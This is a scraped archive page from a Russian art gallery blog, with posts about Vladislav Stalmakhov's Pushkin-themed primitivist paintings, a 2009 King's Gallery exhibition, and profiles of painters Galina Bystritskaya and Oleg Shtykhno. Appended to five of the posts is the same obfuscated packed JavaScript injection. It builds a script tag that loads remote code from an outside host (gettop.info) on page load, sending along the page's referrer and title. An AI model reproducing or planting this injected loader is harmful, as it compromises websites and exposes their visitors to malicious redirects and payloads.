Archive for the ‘Мир искусства’ Category

проект ВЛАДИСЛАВА СТАЛЬМАХОВА

«На охоту», 100х120см, холст/масло, 2009г.

«На крыше», 90х80см, холст/масло, 2009г.

«Джаз», 90х80см, холст/масло, 2009г.

«Игра», 100х90см, холст/масло, 2009г.

«Футбол», 90х100см, холст/масло, 2009г.

«Пароход», 80х120см, холст/масло, 2009г.

«Танцы», 70х80см, холст/масло, 2009г.

«Война», 90х100см, холст/масло, 2009г.

«Троллейбус», шкатулка, дерево/масло, 2009г.

«Автобус», шкатулка, дерево/масло, 2009г.

«Автомобиль», шкатулка, дерево/масло, 2009г.

«Семья», 80х60см, холст/масло, 2009г.eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Новая выставка с 29 мая по 18 июня 2009 года!

6 июня 2009 года  Россия будет праздновать 210 лет со дня рождения великого русского поэта Александра Сергеевича Пушкина. Этому событию посвящается новая выставка в King’s Gallery при участии Санкт-Петербургской галереи искусства DiDi Art Gallery, — «Маленькие путешествия большого поэта». В нашей галерее будут представлены фантазии на пушкинскую тему белорусского художника-примитивиста Владислава Стальмахова.

Stalmakhov no.001Пушкин Стальмахова будет путешествовать как в пространстве, так и во времени. Он будет отдыхать в деревне и гулять по Петербургу, встречаться с Ремарком в Париже, летать на самолёте с Сент-Экзюпери  над своей исторической родиной Африкой, скакать на коне вместе со своей музой, прихватив для поездки все самое необходимое – шпагу, медный чайник и узелок с провиантом.  Будут представлены картины, посвященные русским праздникам, как символы широкой русской души, воспетой в творчестве великого писателя.eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Bystritskaya no.016

В нашей галерее появились три новые работы Галины Быстрицкой, написанных ею во время прибывания на Мальдивских островах в прошлом году. Здесь вы видите одну из этих картин. А чтобы увидеть и две другие, — заходите к нам в галерею. Живопись Галины Быстрицкой настолько энергетически заряжена, что никого не оставляет равнодушным. (Формат всех работ 120х100см)

Другие работы Галины Быстрицкойeval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Shtikhno no.001Олег Штыхно родился в Новосибирске в 1961 году. Чудовищная удаленность от центра была зримым подтверждением тому, что путь к неведомым высотам искусства обещал быть длинным и непростым. В его детских воспоминаниях много деревенских впечатлений, оставшихся для него одними из самых ярких и дорогих. Свои первые этюды, написанные в деревеньке Гоголь, он бережно хранит как память о детстве, о местах, которых давно уже нет.

Потом была художественная школа в Омске, куда переехала семья. Его путь к будущей профессии был традиционным: за школой последовало художественное училище, далее институт. Но как непросто вступать на каждую следующую ступень этой лестницы, знает лишь тот, кто шаг за шагом прошел этот путь.

Поступить в знаменитое Московское художественное училище памяти 1905 года в те времена было сложно, но какой же музыкой звучало оно для счастливцев, оказавшихся в числе выпускников. Эта школа была с успехом освоена Олегом, но ему хотелось чего-то большего. После окончания училища он подал документы в Московский государственный академический художественный институт имени В.И. Сурикова, в мастерскую И.С. Глазунова – мастерскую портрета, но, к сожалению, недобрал баллы. Олег стал посещать портретную мастерскую в качестве вольного слушателя. После второго провала он, выдержав конкурс на должность художника сцены, пришел работать в мастерские Большого театра. Так в его жизни наступил краткий, но важный период. Мир театра с его особым языком сценографии был для него совершенно новым, возможно, дал ему первый импульс в направлении постепенного отказа от реалистического жизнеподобия в сторону большей условности. На следующий год он вновь штурмовал Суриковский. С третьей попытки крепость была взята.

В годы учебы Олег, стараясь вобрать в себя как можно больше из всего, что окружало его тогда, постепенно стал ощущать себя способным ставить и решать собственные творческие задачи. И чем дальше, тем более старался уже не по школьному, а в своем ключе писать заданные учебные постановки. Его стали заботить не только вопросы построения формы, но и вопросы стиля. Его понимание картины уже не укладывалось в академические рамки классической традиции. Он искал собственный живописный язык. И однажды, в конце пятого курса, перед итоговым просмотром услышал от И.С. Глазунова не без сарказма сказанное: «Да ты уже художник!» – и требование снять с экспозиции несколько работ.
Определенный ключ к пониманию Олега Штыхно как художника содержится в именах тех, кого он считает своими учителями. Так в этом перечне рядом с «теоретиком» Леонардо да Винчи оказывается тонкий лирик Исаак Левитан, у которого Олег учился пониманию пейзажа, Эндрю Уайет, мастер острой композиции, Сальвадор Дали, Густав Климт и другие.

Он воспринимает живопись не как возможность изобразить некое событие, а как способ воплотить в материальную форму определенные идеи. «Я никогда не хотел быть историческим живописцем», – говорит он. Для него не представляют интерес моделирование конкретно исторической ситуации, реконструкция того или иного имевшего место события в прошлом – для него это слишком частная задача. По собственному его уверению, его не увлекают и бытовые сюжеты. Простое запечатление бытия для него уже малоинтересно. Форма покорилась, отныне властвует Идея.

Shtikhno no.002Изображения живых существ в его картинах лишь внешне правдоподобны – они результат изощренного отбора, проделанного художником ради выявления некой пластичной формулы знака. В этюде он ценит прежде всего чистоту звучания цвета, свежесть мотива, точность отношений. Он любит писать этюды и делает это по сей день. Часто в них присутствует реальный мир живой природы, чрезвычайно им любимой, очень русской, щемящей любовью, в которой всегда есть тоска о непоправимо уходящем времени и мире. Но, переходя от этюдов к пейзажу-картине, он меняет способ изложения. Его пейзажи неописательны. Если это и рассказ о месте, то рассказ вполне объективный. Это, как правило, не столько знаки уголков природы, сколько знаки состояния – и природы, и собственной души. Для него недостаточно просто любоваться красотой мотива, ему важно через образы «мира вокруг» сказать о чем-то внутри себя – пейзаж, жанр к этому располагают.
Он очень разный в своих работах и к этому разнообразию сознательно стремится. Для каждой занимающей его темы он выбирает новый подход – по технике, стилистике, композиционному построению. Возникает впечатление, будто некая абстрактная идея, самостоятельно творящая форму для своего вещественного бытия, начинает постепенно трансформировать подходящий материал, интерпретируя предмет, пейзажный мотив или человеческое существо до максимальной адекватности себе.

Олег Штыхно не принадлежит к разряду хранителей художественной традиции в ее незыблемой классической форме – скорее, к числу ее продолжателей в постоянном живом развитии; именно так им понимается задача художника в любую эпоху.

По материалам газеты «Праволсавная Осетия»eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Из публикаций на сайте телеканала Культура

Bystritskaya no.002Ее картины рождаются во время путешествий. Она берет с собой в дорогу не альбом для зарисовок, а холсты и сразу пишет маслом. Главное, говорит Галина Быстрицкая, чтобы «зацепило». Зацепить ее могут самые прозаические вещи: деревенский пейзаж, одинокие старики, собаки на пляже, и тогда можно работать двадцать четыре часа в сутки. Так было во время поездки в Венецию, когда художница писала даже по ночам. «Через несколько дней пошел такой потрясающий импульс от города, что я не могла спать. Я работала непрерывно. У меня дрожали руки от возбуждения. То есть, я понимала, что теряю каждую минуту, если не пишу», – рассказывает Быстрицкая.

В результате за двадцать дней пребывания в Венеции она написала двадцать четыре картины. Однако так бывает не всегда. Например, после поездки в Китай не появилось ни одной работы. Галина Быстрицкая делит страны на «свои» и «чужие». «Своей» оказалась Индия, куда художница отправилась сразу после Венеции. Там не обошлось без приключений. Ей пришлось плыть на лодке по каналу среди рисовых полей. «Мы два дня плыли в такой лодке, я писала прямо в движении работы. Потом мы жили в джунглях, на дереве, на тридцатиметровом расстоянии, на баньяне, затем мы были на побережье, где я писала рыбаков», – продолжает художница.

Галина Быстрицкая стремится объять необъятное. Ей хочется все успеть и почувствовать, острее ощутить окружающую жизнь, получить импульс для творчества. Ее картины – это сгусток энергии, симфония красок. «Это попытка пробиться к первоосновам ощущений, которые именно в этом географическом месте, как в узле, как она говорит, концентрируются», – говорит искусствовед Анна Чудецкая.eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))